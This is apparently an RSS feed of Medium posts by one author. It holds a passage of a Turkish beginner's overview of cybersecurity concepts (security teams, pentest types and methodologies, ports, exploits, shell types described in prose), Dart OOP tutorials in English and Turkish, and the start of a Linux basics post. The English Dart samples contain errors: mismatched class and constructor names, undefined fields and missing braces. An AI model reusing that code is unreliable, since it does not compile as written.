kullanılan bazı teknolojiler var.</p><p>1: Firewall (Güvenlik Duvarı) = Firewall, ağ trafiğini kontrol ederek güvenlik kurallarına göre trafiğe izin verilmesine veya engellenmesine yardımcı olur.</p><p>2: IDS (Intrusion Detection System) = Türkçesi saldırı tespit sistemidir. <em>Intrusion izinsiz giriş veya müdahale, detection tespit etme, system ise sistem anlamına gelir.</em></p><p>IDS, <strong>ağdaki saldırıları veya şüpheli faaliyetleri tespit etmek amacıyla</strong> kullanılır.</p><p>IPS (Intrusion Prevention System) : Türkçesi <strong>saldırı önleme sistemidir.</strong><em>(Prevention önleme anlamına gelir.)</em></p><p><strong>Yani IDS saldırıları tespit etmeye, IPS ise saldırıları önlemeye odaklanır.</strong></p><p>3: VPN (Virtual Private Network) = Türkçesi sanal özel ağdır.</p><p><em>Virtual sanal, private özel, network ise ağ anlamına gelir.</em></p><p>VPN, <strong>sanal özel ağ bağlantısı oluşturmak için kullanılan bir teknolojidir</strong> ve ağ iletişiminin güvenliğini sağlamaya yardımcı olabilir.</p><h3>3. Tersine Mühendislik (Reverse Engineering)</h3><p>Normalde bir yazılım geliştirilirken önce nasıl çalışacağı tasarlanır, ardından yazılım oluşturulur. Tersine mühendislikte ise hazır bir yazılımı inceleyerek çalışma mantığını anlamaya çalışırsın.</p><ul><li>Statik analiz: Yazılımı<em> çalıştırmadan </em>incelemek.</li><li>Dinamik analiz: Yazılımı<em> çalışırken</em> incelemek.</li></ul><h3>4. Bulut Güvenliği (Cloud Security)</h3><p>Bulut güvenliği, bulut ortamında bulunan verileri, uygulamaları ve altyapıyı korumaktır.</p><p>Örneğin dosyalarını kendi bilgisayarında değil de bir bulut hizmetinde sakladığını düşün. Bu dosyaların güvenli biçimde saklanması, işlenmesi ve aktarılması gerekir.</p><p>IAM — Identity and Access Management (Kimlik ve Erişim Yönetimi.)</p><p>Bu kavram, kullanıcıların kimliklerinin ve erişim yetkilerinin yönetilmesiyle ilgilidir. Bulut güvenliğinde ayrıca veri şifreleme, güvenlik duvarları ve bulut tabanlı güvenlik protokolleri kullanılır.</p><h3>5. Mobil Uygulama Güvenliği (Mobile Application Security)</h3><p>Mobil uygulama güvenliği, telefonlar ve diğer mobil cihazlardaki uygulamaların güvenliğini sağlamaya odaklanır.</p><p>Mobil uygulama güvenliğinin üç önemli konusu var:</p><ul><li>Zararlı yazılımlara karşı koruma</li><li>Veri sızıntılarının önlenmesi</li><li>Uçtan uca şifreleme (End-to-End Encryption)</li></ul><h3>6. IoT Güvenliği (Internet of Things Security)</h3><p>IoT, İngilizce Internet of Things ifadesinin kısaltmasıdır. Türkçesi Nesnelerin İnterneti.</p><p>İnternete bağlanabilen akıllı cihazları düşün. Örneğin akıllı ev cihazları veya sensörler. Bu cihazların da güvenlik açıkları olabilir.</p><p>IoT güvenliği, <strong>bu cihazların kendilerini, kullandıkları verileri ve bağlı oldukları ağları korumaya odaklanır.</strong></p><p>Yani yalnızca bilgisayarlar ve telefonlar değil, <em>akıllı cihazlar</em> da siber güvenliğin konusudur.</p><h3>7. Adli Bilişim (Digital Forensics)</h3><p>Adli bilişim, <em>siber suçların teknik ve hukuki açıdan incelenmesiyle</em> ilgilidir.</p><p>Örneğin bir sistemde siber suç işlendiğini düşün. Bu olayın nasıl gerçekleştiğinin araştırılması ve elektronik kanıtların toplanması gerekir. Adli bilişim bu süreçte kullanılır.</p><ul><li>Veri kurtarma</li><li>Elektronik kanıt toplama</li><li>Siber suçları inceleme</li></ul><p>Bu alanın diğerlerinden farkı,<strong> yalnızca güvenlik açığını önlemeye değil,</strong> gerçekleşmiş bir siber olayı araştırmaya da odaklanmasıdır.</p><h3>8. Tehdit İstihbaratı (Threat Intelligence)</h3><p>Tehdit istihbaratı, siber tehditler hakkında bilgi toplamak ve bu bilgileri analiz etmektir. Amaç, saldırıları önceden öngörebilmek ve gerekli güvenlik önlemlerini almaktır.</p><p>Örneğin bir güvenlik ekibi, sistemleri hedef alabilecek tehditler hakkında bilgi toplar. Bu bilgileri değerlendirerek <strong>saldırılara karşı önceden hazırlık yapabilir.</strong></p><h3>4— KARİYER</h3><p>Siber güvenlik, sürekli öğrenmeyi gerektiren bir alan. Yeni tehditler ve teknolojiler ortaya çıktıkça uzmanların da kendilerini geliştirmesi gerekiyor.</p><p>Bu süreçte teknik becerilerin yanında iletişim, takım çalışması, sorumluluk alma ve problem çözme gibi sosyal beceriler de önemli bir yer tutuyor.</p><p>Ayrıca LinkedIn, Discord, çevrimiçi forumlar ve siber güvenlik etkinlikleri aracılığıyla sektördeki profesyonellerle iletişim kurmak, bilgi paylaşımını ve mesleki gelişimi destekliyor.</p><h3>Siber Güvenlik Takımları</h3><p>Siber güvenlikte farklı görevler üstlenen takımlar bulunuyor. Bunların en bilinenleri <strong>Red Team, Blue Team ve Purple Team</strong> olarak adlandırılıyor.</p><h4>Red Team (Kırmızı Takım)</h4><p>Red Team, saldırgan bakış açısıyla hareket ederek kurumların güvenliğini test eden ekiptir.</p><p>Sistemlerdeki güvenlik açıklarını keşfetmeye, bu açıklardan yararlanarak sistemlere sızmayı denemeye ve savunma mekanizmalarının ne kadar etkili olduğunu ölçmeye odaklanır.</p><p><strong>Sızma testleri, saldırı senaryoları ve sosyal mühendislik</strong> yöntemleri bu takımın çalışmalarında yer alır.</p><h4>Blue Team (Mavi Takım)</h4><p>Blue Team, kurumların sistemlerini siber saldırılara karşı korumakla <strong>görevli savunma ekibidir. </strong>Güvenlik sistemlerini izler, saldırıları tespit etmeye çalışır, güvenlik olaylarına müdahale eder ve mevcut savunma mekanizmalarını geliştirir.</p><p>Ayrıca güvenlik politikalarının uygulanması ve çalışanların güvenlik konusunda <em>bilinçlendirilmesi </em>de görevleri arasındadır.</p><h4>Purple Team (Mor Takım)</h4><p>Purple Team, Red Team ve Blue Team arasındaki i<strong>ş birliğini sağlayan yapıdır.</strong></p><p>Red Team’in keşfettiği güvenlik açıklarından elde edilen bilgilerin Blue Team tarafından değerlendirilmesine yardımcı olur. Böylece saldırı ve savunma ekiplerinin birlikte gelişmesini sağlar.</p><p><strong>Kısaca: Red Team saldırıyı simüle eder, Blue Team savunmayı gerçekleştirir, Purple Team ise iki takımın birlikte daha etkili çalışmasını sağlar.</strong></p><h4>Bug Bounty (Zafiyet Avcılığı) Nedir?</h4><p>Bug Bounty, güvenlik araştırmacılarının şirketlerin belirlediği kapsam içerisindeki sistemlerde güvenlik açıkları aradığı ve buldukları açıkları raporlayarak ödül kazanabildiği programlardır.</p><h3>5 — SIZMA TESTİ (PENTEST)</h3><p>Sızma testi, gerçek siber saldırıların kontrollü bir şekilde taklit edilerek sistemlerdeki güvenlik açıklarının tespit edilmesi sürecidir.</p><p>Buradaki amaç sisteme zarar vermek değil, saldırganlar tarafından kullanılabilecek zafiyetleri önceden keşfetmektir.</p><p>Örneğin bir şirket, kullandığı yazılımların veya bilişim altyapısının ne kadar güvenli olduğunu öğrenmek isteyebilir. Bunun için bir sızma testi yaptırarak sistemindeki olası güvenlik açıklarını belirleyebilir.</p><h4>Sızma Testleri Yasal mı?</h4><p>Sızma testlerini normal siber saldırılardan ayıran en önemli nokta <strong>yetkilendirmedir. </strong>Sızma testleri, testi yaptıran kuruluş ile testi gerçekleştiren taraf arasında imzalanan bir sözleşme kapsamında yürütülür.</p><p>Bu testleri gerçekleştiren uzmanlara <strong>Pentester (Sızma Testi Uzmanı)</strong> denir.</p><h3>Sızma Testi Türleri</h3><p>Sızma testleri, test ekibinin sistem hakkında sahip olduğu bilgi düzeyine göre <strong>üç temel kategoriye ayrılır.</strong></p><h4>1. White Box (Beyaz Kutu)</h4><p>White Box testinde uzmanlara sistem hakkında geniş kapsamlı bilgi ve yetki verilir. Bu sayede sistemin yapısı ayrıntılı şekilde incelenebilir ve derinlemesine güvenlik analizleri gerçekleştirilebilir.</p><p><strong>Kısaca:</strong> Test uzmanı sistemi büyük ölçüde tanır ve detaylı bir inceleme yapar.</p><h4>2. Grey Box (Gri Kutu)</h4><p>Grey Box testinde uzmanlara sistem hakkında yalnızca belirli bilgiler ve sınırlı yetkiler sağlanır. Bu yaklaşım, pentesterların kısmi bilgiyle güvenlik açıklarını nasıl tespit edebileceklerini değerlendirmeyi amaçlar.</p><p><strong>Kısaca:</strong> Test uzmanı sistem hakkında bazı bilgilere sahiptir ancak her şeyi bilmez.</p><h4>3. Black Box (Siyah Kutu)</h4><p>Black Box testinde uzmanlara sistem hakkında herhangi bir ön bilgi verilmez. Test uzmanı, sistemi dışarıdan inceleyerek güvenlik açıklarını keşfetmeye çalışır. Bu yöntem, gerçek bir saldırganın bakış açısını simüle etmeye odaklanır.</p><p><strong><em>Kısaca:</em></strong><em> Test uzmanı sistemi önceden tanımaz ve araştırmaya sıfırdan başlar.</em></p><h3>Sızma Testi Metodolojileri</h3><p>Sızma testlerinin rastgele değil, belirli bir düzen ve sistematik içinde gerçekleştirilmesi gerekir.</p><p>Bu amaçla kullanılan standartlaşmış yaklaşımlara <strong>sızma testi metodolojileri</strong> denir.</p><p>Metodolojiler, <em>güvenlik açıklarının belirlenmesi ve değerlendirilmesi süreçlerinin daha düzenli, etkili ve verimli yürütülmesini</em> sağlar.</p><p>Bu alanda öne çıkan üç önemli isim OWASP, OSSTMM ve NIST’tir.</p><h3>1. OWASP (Open Web Application Security Project)</h3><p>OWASP, <em>web uygulamalarının güvenliğini artırmayı amaçlayan</em> küresel bir girişimdir.</p><p>Web uygulamaları ve hizmetlerindeki <strong>güvenlik açıklarının tespit edilmesi, değerlendirilmesi ve bu açıklara karşı önlemler geliştirilmesi</strong> konusunda rehberlik sağlar.</p><p><strong>Temel odak noktası:</strong> Web uygulamalarının güvenliği.</p><h3>2. OSSTMM (Open Source Security Testing Methodology Manual)</h3><p>OSSTMM, bilgi güvenliği testlerinin sistematik şekilde gerçekleştirilmesi için hazırlanmış kapsamlı bir metodolojidir.</p><p>Ağ güvenliği, uygulama testleri ve fiziksel güvenlik denetimleri gibi <em>farklı alanlarda kullanılabilir.</em></p><p>Amacı, güvenlik testlerinin<strong> objektif, şeffaf ve tekrarlanabilir olmasını</strong> sağlamaktır.</p><p><strong>Temel odak noktası:</strong> Farklı güvenlik alanlarının sistematik olarak test edilmesi ve değerlendirilmesi.</p><h3>3. NIST (National Institute of Standards and Technology)</h3><p>NIST tarafından geliştirilen sızma testi metodolojisi, özellikle devlet kurumları ve büyük ölçekli kuruluşlar için standartlar ve en iyi uygulamalar sunar.</p><p><em>Risk yönetimi, güvenlik açıklarının değerlendirilmesi ve güvenlik ihlallerine müdahale </em>gibi süreçlere odaklanır.</p><h4>Metodolojiler Arasındaki Fark</h4><ul><li><strong>OWASP:</strong> Web uygulamalarının güvenliğine odaklanır.</li><li><strong>OSSTMM:</strong> Farklı alanlarda güvenlik testlerinin sistematik ve ölçülebilir şekilde yapılmasına odaklanır.</li><li><strong>NIST:</strong> Risk yönetimi, güvenlik değerlendirmesi ve güvenlik süreçlerine yönelik standartlar ve rehberler sunar.</li></ul><h3>6 — TEMEL BİLGİLER : Port, Zafiyet, Exploit, Shell ve IP</h3><h4>1. Port Nedir?</h4><p>Portlar, cihazların iletişim kurmasını ve veri alışverişi yapmasını sağlayan bağlantı noktalarıdır.</p><p>Portları ikiye ayırabiliriz:</p><p><strong>Fiziksel Portlar:</strong> Bilgisayarların üzerinde bulunan donanımsal bağlantı noktalarıdır. USB, Ethernet, HDMI ve DisplayPort bunlara örnektir.</p><p><strong>Sanal Portlar:</strong> Ağ üzerinden gerçekleştirilen iletişimde kullanılan, <em>0 ile 65535 arasında numaralandırılmış mantıksal bağlantı noktalarıdır.</em></p><p>Örneğin bir web sitesine bağlandığımızda, sunucu genellikle HTTP için 80, HTTPS için ise 443 numaralı portu kullanır.</p><h3>Sık Kullanılan Portlar</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ImMiASb0C9IE92SEczqrzg.png" /></figure><p>Bu port numaraları yaygın kullanılan varsayılan değerlerdir. Servisler farklı portlarda da çalışabilir.</p><p><strong>Kısaca:</strong> IP adresi hangi cihazla iletişim kurulacağını, port numarası ise o cihazdaki hangi hizmete ulaşılacağını belirler.</p><h4>2. Zafiyet (Vulnerability) Nedir?</h4><p>Zafiyet, bir yazılımda, sistemde veya ağda bulunan ve güvenliği tehlikeye atabilecek açıklardır.</p><p>Örneğin güncellenmemiş bir yazılımda bulunan güvenlik açığı, saldırganlar tarafından kullanılabilir.</p><p>Siber güvenlikte zafiyetlerle ilgili <strong>üç önemli kavram bulunur:</strong></p><p><strong>OWASP Top 10: </strong>Web uygulamalarındaki<strong> en kritik güvenlik riski</strong> kategorilerini ele alan listedir.</p><p><strong>CVE (Common Vulnerabilities and Exposures):</strong> Bilinen güvenlik zafiyetlerine <strong>benzersiz kimlikler verilmesini</strong> sağlayan sistemdir.</p><p><strong>CVSS (Common Vulnerability Scoring System):</strong> Güvenlik zafiyetlerinin ciddiyetini değerlendirmek için kullanılan <strong>puanlama sistemidir.</strong></p><p><strong>Kısaca:</strong> CVE zafiyeti tanımlamaya, CVSS ise zafiyetin ne kadar ciddi olduğunu değerlendirmeye yardımcı olur.</p><h4>3. Exploit (İstismar) Nedir?</h4><p>Exploit, bir sistemde bulunan <strong>güvenlik açığından yararlanmak için kullanılan kod veya tekniktir.</strong></p><p>Burada zafiyet ile exploit arasındaki farkı anlamak önemlidir.</p><ul><li><strong>Zafiyet:</strong> Sistemde bulunan güvenlik açığıdır.</li><li><strong>Exploit:</strong> Bu güvenlik açığından yararlanmak için kullanılan yöntemdir.</li></ul><p>Örneğin bir uygulamada güvenlik açığı bulunması zafiyettir. Bu açıktan yararlanarak sistem üzerinde yetkisiz işlem yapılmasını sağlayan teknik ise <strong>exploit</strong> olarak adlandırılır.</p><h4>PoC ve Zero-Day Kavramları</h4><p><strong>PoC (Proof of Concept):</strong> Bir güvenlik açığının gerçekten <em>istismar edilebilir olduğunu göstermek amacıyla hazırlanan </em>örnek çalışmadır.</p><p><strong>Zero-Day:</strong> Genellikle üreticinin henüz düzeltme fırsatı bulamadığı, yaması bulunmayan <strong>yeni keşfedilmiş güvenlik açığını ifade eder.</strong></p><p><strong>Kısaca: Zafiyet güvenlik açığıdır, exploit bu açıktan yararlanma yöntemidir, PoC ise açığın kullanılabilir olduğunu göstermeye yarar.</strong></p><h4>4. Shell (Kabuk) Nedir?</h4><p>Shell, kullanıcının işletim sistemiyle etkileşim kurmasını sağlayan bir arayüzdür.</p><p>Örneğin terminal üzerinden komut yazıp işletim sistemine işlemler yaptırmak, shell kullanımına örnektir.</p><p>Siber güvenlikte ise <em>shell elde etmek</em>,<strong> hedef sistem üzerinde komut çalıştırabilecek bir erişim kazanmak </strong>anlamında kullanılır.</p><h4>Shell Türleri</h4><p><strong>Bind Shell:</strong> Hedef sistem belirli bir port üzerinden bağlantı bekler. Bağlantıyı kuran taraf, sağlanan erişim kapsamında komut çalıştırabilir.</p><p><strong>Reverse Shell:</strong> Hedef sistem, bağlantıyı karşı taraftaki makineye doğru başlatır. Bu bağlantı üzerinden komut çalıştırma imkânı sağlanabilir.</p><p><strong>Web Shell:</strong> Web sunucusunda çalışan ve uzaktan komut yürütülmesine olanak sağlayan bir script veya programdır.</p><h3>Bind Shell ve Reverse Shell Arasındaki Fark</h3><p>En temel fark bağlantıyı hangi tarafın başlattığıdır.</p><ul><li><strong>Bind Shell:</strong> Bağlantı hedef sisteme doğru kurulur.</li><li><strong>Reverse Shell:</strong> Bağlantıyı hedef sistem başlatır.</li></ul><h4>5. IP Adresi Nedir?</h4><p>IP (Internet Protocol) adresi, ağ üzerindeki<em> cihazların tanımlanmasını ve birbirleriyle iletişim kurmasını sağlayan sayısal adrestir.</em></p><p>Bir cihazın ağ üzerinde <strong>nereye veri göndereceğini belirlemek için </strong>IP adresleri kullanılır.</p><p>Günümüzde <strong>iki temel IP sürümü bulunur.</strong></p><h3>IPv4</h3><p>IPv4, 32 bitlik adresleme sistemini kullanır ve yaklaşık 4,3 milyar farklı adres sunar.</p><p>Örnek: 192.168.1.1</p><h3>IPv6</h3><p>IPv6, IPv4&#39;ün adres kapasitesinin yetersiz kalması üzerine geliştirilmiştir.</p><p>128 bitlik adresleme sistemini kullanır ve IPv4&#39;e kıyasla çok daha geniş bir adres alanı sağlar.</p><p>Örnek: 2001:db8::1</p><p><strong>Kısaca:</strong> IPv4 ve IPv6 arasındaki temel farklardan biri adres uzunluğu ve sunabildikleri adres sayısıdır.</p><h4>Özetle</h4><p>IP adresleri cihazların ağ üzerindeki adreslerini, portlar ise iletişim kurulacak hizmetleri belirler. Sistemlerde bulunan güvenlik açıkları zafiyet olarak adlandırılırken bu açıklardan yararlanmak için kullanılan tekniklere exploit denir.</p><p>Shell ise işletim sistemiyle komutlar aracılığıyla etkileşim kurulmasını sağlar.</p><p>Bu kavramları öğrenmek, ilerleyen aşamalarda ağ güvenliği, zafiyet analizi ve sızma testi gibi konuları daha kolay anlamamıza yardımcı olur.</p><h3>6 — Siber Güvenlik Öğrenirken Yararlanabileceğimiz Kaynaklar</h3><p>Siber güvenlik öğrenirken teorik bilgilerin yanında pratik kaynaklardan yararlanmak da oldukça önemli. Özellikle sızma testleri, sistem güvenliği ve siber güvenlik araçları konusunda hazırlanmış rehberler, öğrendiğimiz bilgileri pekiştirmemize yardımcı olabilir.</p><p>Bu noktada Hackviser tarafından sunulan üç farklı kaynak bulunuyor.</p><h4>1. Pentesting Tactics (Sızma Testi Taktikleri)</h4><p>Pentesting Tactics, sızma testi süreçlerini öğrenmek ve bu alandaki becerilerini geliştirmek isteyenler için hazırlanmış bir rehberdir.</p><p>Hem yeni başlayanlara hem de deneyimli uzmanlara yönelik içerikler sunar. Farklı sızma testi senaryolarını ve bu senaryolarda kullanılan yaklaşımları öğrenmeye yardımcı olur.</p><p><strong>Ne için kullanılır?</strong> Sızma testi süreçlerini öğrenmek ve pratik bilgiler edinmek için.</p><p><a href="https://hackviser.com/tactics/pentesting">Pentesting Tactics Rehberi</a></p><h4>2. Hardening Tactics (Sistem Sıkılaştırma Taktikleri)</h4><p>Hardening, sistemlerin güvenlik açıklarını azaltmak ve siber saldırılara karşı daha dayanıklı hale gelmelerini sağlamak amacıyla gerçekleştirilen güvenlik iyileştirmeleridir.</p><p>Bu içerikler, güvenlik önlemlerini anlamamıza ve sistemleri daha korunaklı hale getirmek için uygulanabilecek temel adımları öğrenmemize yardımcı olur.</p><p><strong>Ne için kullanılır?</strong> Sistemlerin güvenliğini güçlendirmek ve savunma yöntemlerini öğrenmek için.</p><p><a href="https://hackviser.com/tactics/hardening">Hardening Tactics Rehberi</a></p><h4>3. Tools Tactics (Siber Güvenlik Araçları)</h4><p>Siber güvenlikte farklı amaçlarla kullanılan çok sayıda araç bulunur. Bu araçların ne işe yaradığını ve nasıl kullanıldığını öğrenmek, teknik becerileri geliştirmek açısından önemlidir.</p><p>Tools Tactics, çeşitli siber güvenlik araçlarının kullanımına ilişkin özet bilgiler sunan bir kaynaktır.</p><p><strong>Ne için kullanılır?</strong> Siber güvenlik araçlarını tanımak ve kullanım şekillerini öğrenmek için.</p><p><a href="https://hackviser.com/tactics/tools">Tools Tactics Rehberi</a></p><p>Siber güvenlik öğrenme sürecinde bu rehberlerden yararlanmak, teorik bilgileri pratik çalışmalarla desteklemek için faydalı olabilir.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8600b503b87d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Object-Oriented Programming (OOP) in Dart]]></title>
            <link>https://medium.com/@hifaoner/object-oriented-programming-oop-in-dart-cbf58cee62de?source=rss-4e8ed61e3c70------2</link>
            <guid isPermaLink="false">https://medium.com/p/cbf58cee62de</guid>
            <category><![CDATA[dart]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[flutter]]></category>
            <category><![CDATA[oop]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Hifa Nur Oner | Design & Tech & Cybersecurity]]></dc:creator>
            <pubDate>Tue, 29 Jul 2025 12:34:30 GMT</pubDate>
            <atom:updated>2025-07-29T12:34:30.162Z</atom:updated>
            <content:encoded><![CDATA[<p>Object-Oriented Programming (OOP) in Dart language includes basic OOP concepts such as classes, objects, inheritance, encapsulation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*th_35TeiX0hj9cjD" /></figure><p>Classes: Classes are used to describe the structure and behavior of objects. Classes can contain data members (fields) and function members (methods).</p><p>Objects: Instances derived from a class. Each object has data members and function members specified by the class. Objects have states that specify concrete variables and methods that specify the work within the program.<br>The blueprint we produce for a job is a class. What is produced from the draft are objects. For example, let’s create a car class. The definitions such as speed limit, color, brand that every car has are their properties, that is, their states.</p><pre>class car{<br>  String type;<br>  String color;<br>  int speed;<br>  bool status;</pre><pre>// Constructor<br>Car({required this.type, required this.color, required this.speed, required this.status});</pre><p>Constructors are used to set the initial state of objects during their creation. When an object is created from a class, the constructor is called and the object is created with the required initial values. In Dart, a class can have more than one constructor.</p><p>NOTE: Unlike other languages, you may have seen the use of required for the first time in Dart. required specifies that a particular parameter should be passed without any default value when it is called and provides a descriptive view in our main file.</p><p>Now let’s create a product, an object, from this class.</p><pre>var car1 = Car(type: &quot;Sedan&quot;, color: &quot;Black&quot;, speed: 250, status: true);</pre><pre>print(&quot;Car&#39;s color: ${car1.color}&quot;); // Black</pre><p>We can change the properties of the object if we want;</p><pre>car1.color = &quot;Red&quot;;</pre><pre>print(&quot;Car&#39;s color: ${car1.color}&quot;); // Red</pre><p>A “function” is a block of code put together to perform a specific task. Usually its name identifies a specific function or action. In Dart, functions are defined by a function name and a list of parameters in parentheses.</p><p>Now let’s add two functions to our class;</p><pre>class car{<br>  String type;<br>  String color;<br>  int speed;<br>  bool status;</pre><pre>// Constructor<br><br>Car({required this.type, required this.color, required this.speed, required this.state});<br><br>void stop() { // side effect<br>  isRunning = false;<br>  speed = 0;<br>}<br><br>void accelerate(int amount) { // function with parameter<br>  speed = speed + amount;<br>}</pre><p>If a function changes the value of variables of a class, this is called a side effect.</p><p>Now let’s implement our first function in our main file.</p><pre>car1.stop();</pre><p>The stop() function we wrote here affects our object directly, setting the speed variable equal to 0 and making the runningStatus false.</p><pre>car1.accelerate(100);</pre><p>As you can see here, our accelerate function is a parameterized function. That is, when we apply our function to an object, we see that it has a value that we need to specify.</p><p>We have assigned our parameter as an int type variable named amount and we aim to increase the speed of our car by adding it on top of our current speed. In this example, we increased the amount of our speed by 100 and set the hiz variable of our toyota car equal to 350.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cbf58cee62de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Flutter - Dart| OOP (Nesne Tabanlı Programlama)]]></title>
            <link>https://medium.com/@hifaoner/flutter-dart-oop-nesne-tabanl%C4%B1-programlama-402e35eec328?source=rss-4e8ed61e3c70------2</link>
            <guid isPermaLink="false">https://medium.com/p/402e35eec328</guid>
            <category><![CDATA[dart]]></category>
            <category><![CDATA[nesne-tabanlı-programlama]]></category>
            <category><![CDATA[oop]]></category>
            <category><![CDATA[flutter]]></category>
            <dc:creator><![CDATA[Hifa Nur Oner | Design & Tech & Cybersecurity]]></dc:creator>
            <pubDate>Tue, 29 Jul 2025 12:22:08 GMT</pubDate>
            <atom:updated>2025-07-29T12:35:05.518Z</atom:updated>
            <content:encoded><![CDATA[<h3>Flutter - Dart || OOP (Nesne Tabanlı Programlama)</h3><p>Dart dilinde nesne tabanlı programlama (Object-Oriented Programming — OOP), sınıflar, nesneler, miras alma, kapsülleme gibi temel OOP kavramlarını içerir.</p><ol><li><strong>Sınıflar (Classes):</strong> Sınıflar, nesnelerin yapısını ve davranışlarını tanımlamak için kullanılır. Sınıflar, veri üyeleri (alanlar) ve işlev üyeleri (metodlar) içerebilir.</li><li><strong>Nesneler (Objects):</strong> Bir sınıftan türetilen örneklerdir. Her bir nesne, sınıfın belirttiği veri üyeleri ve işlev üyelerine sahiptir. Nesnelerin somut değişkenler belirleyen durumları (state) ve program içindeki işi belirleyen metodları vardır.</li></ol><p>Bir iş için üreteceğimiz taslak bir sınıftır. Taslaktan üretilenler ise nesnelerdir. Örneğin bir araba sınıfı oluşturalım. Her arabada olan hız sınırı, renk, marka gibi tanımlamalar, onların özellikleri yani durumlarıdır.</p><pre>class Araba{<br>  String marka;<br>  String renk;<br>  int hiz;<br>  bool calismaDurumu;</pre><pre>// Constructor<br>Araba ({required this.marka, required this.renk, required this.hiz, required this.calismaDurumu});</pre><p>Constructorlar, nesnelerin oluşturulması sırasında başlangıç durumlarını ayarlamak için kullanılır. Bir sınıftan bir nesne oluşturulduğunda, constructor çağrılır ve nesnenin gereken başlangıç değerleriyle oluşturulması sağlanır. Dart dilinde bir sınıf birden fazla constructor’a sahip olabilir.</p><p><strong>NOT: <em>required</em> kullanımını diğer dillerden farklı olarak ilk kez Dart dilinde görmüş olabilirsiniz. <em>required</em> , belirli bir parametrenin, çağrıldığı zaman herhangi bir varsayılan değeri olmaksızın geçilmesi gerektiğini belirtir ve main dosyamızda da açıklayıcı bir görünüm sağlar.</strong></p><p>Şimdi bu sınıfımızdan bir ürün yani nesne üretelim.</p><pre>var araba1 = Araba(marka: &quot;Toyota&quot;, renk: &quot;Siyah&quot;, hiz: 250, calismaDurumu: true);</pre><pre>print(&quot;Arabanın rengi: ${araba1.renk}&quot;); // Siyah</pre><p>Eğer istersek nesnenin özelliklerini değiştirebiliriz;</p><pre>araba1.renk = &quot;Kırmızı&quot;;</pre><pre>print(&quot;Arabanın rengi: ${araba1.renk}&quot;); // Kırmızı</pre><p>Bir <strong>“fonksiyon”</strong>, belirli bir görevi yerine getirmek için bir araya getirilmiş kod bloğudur. Genellikle adı belirli bir işlevi veya eylemi tanımlar. Dart dilinde fonksiyonlar, bir fonksiyon adı ve parantezler içinde parametre listesi ile tanımlanır.</p><p>Şimdi sınıfımıza iki tane fonksiyon ekleyelim;</p><pre>class Araba{<br>  String marka;<br>  String renk;<br>  int hiz;<br>  bool calismaDurumu;</pre><pre>// Constructor<br>Araba ({required this.marka, required this.renk, required this.hiz, required this.calismaDurumu});</pre><pre>void durdur(){ // side effect<br>calismaDurumu = false;<br>hiz = 0; }</pre><pre>void hizlan(int miktar){ // parametreli fonksiyon<br>hiz = hiz + miktar;<br>}</pre><blockquote>Eğer bir fonksiyon, bir sınıfın değişkenlerinin değerini değiştiriyorsa buna side effect (yan etki) denir.</blockquote><p>Şimdi ilk fonksiyonumuzu<em> main</em> dosyamızda uygulayalım.</p><pre>araba1.durdur();</pre><p>Burada yazdığımız <em>durdur() </em>fonksiyonu objemize doğrudan etki ederek <strong><em>hiz</em></strong> değişkenini <strong>0</strong>&#39;a eşitler ve<strong> <em>calismaDurumu</em>’</strong>nu da<strong> false</strong> yapar.</p><pre>araba1.hizlan(100);</pre><p>Burada gördüğünüz üzere <em>hizlan</em> fonksiyonumuz parametreli bir fonksiyondur. Yani fonksiyonumuzu nesneye uyguladığımızda, yanında belirtmemiz gereken bir değer olduğunu görürüz.</p><p>Biz parametremizi <strong>int</strong> tipinde <strong>miktar</strong> isimli bir değişken olarak atadık ve bunu anlık olan hızımızın üstüne ekleyerek arabımızın hızını artırmayı hedefledik. Bu örnekte de hızımızın miktarını <strong>100 </strong>arttırarak <em>toyota</em> markalı aracımızın <em>hiz</em> değişkenini <strong>350</strong>&#39;ye eşitledik.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bd1_cY_AI1fHbICcRaEv_A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=402e35eec328" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Temelleri]]></title>
            <link>https://medium.com/@hifaoner/linux-temelleri-8e20dcf493ba?source=rss-4e8ed61e3c70------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e20dcf493ba</guid>
            <category><![CDATA[terminal]]></category>
            <category><![CDATA[linux-tutorial]]></category>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[linux-kernel]]></category>
            <dc:creator><![CDATA[Hifa Nur Oner | Design & Tech & Cybersecurity]]></dc:creator>
            <pubDate>Fri, 15 Nov 2024 12:45:02 GMT</pubDate>
            <atom:updated>2024-11-15T12:45:02.214Z</atom:updated>
            <content:encoded><![CDATA[<h3>Linux Temelleri - 1</h3><h3>1 — Giriş</h3><p>Linux, <strong>1991 yılında Linus Torvalds</strong> tarafından geliştirilen ve<strong> Unix</strong> mimarisine dayanan ücretsiz ve açık kaynaklı bir işletim sistemidir (OS).</p><h4>Linux Felsefesi</h4><ul><li><strong>Özgürlük:</strong> Linux, kullanıcılara yazılımlarını kontrol etme, değiştirme ve yeniden dağıtma özgürlüğü verir.</li><li><strong>İş birliği:</strong> Dünya genelinde binlerce geliştirici Linux’a katkıda bulunur, böylece güvenli ve kullanıcı ihtiyaçlarına duyarlı kalır.</li><li><strong>Şeffaflık:</strong> Linux’un açık kaynak doğası, başka sistemlerle kıyaslanamayacak bir şeffaflık seviyesi sağlar.</li></ul><p>Linux, çoklu görev ve çok kullanıcılı bir ortamı destekler. Bu, birçok kişinin farklı görevler için aynı sisteme erişmesi gereken sunucu ortamlarında özellikle yararlıdır. Linux dosya sistemi, kök dizinden (“/” olarak gösterilir) başlayarak hiyerarşik olarak organize edilmiştir ve alt dizinlere genişler. Bu organizasyon, dosyaları yönetmeyi ve bulmayı kolaylaştırır.</p><p>Çekirdeğin etrafında, ek işlevsellik sağlayan birçok yazılım aracı ve kütüphane bulunur. 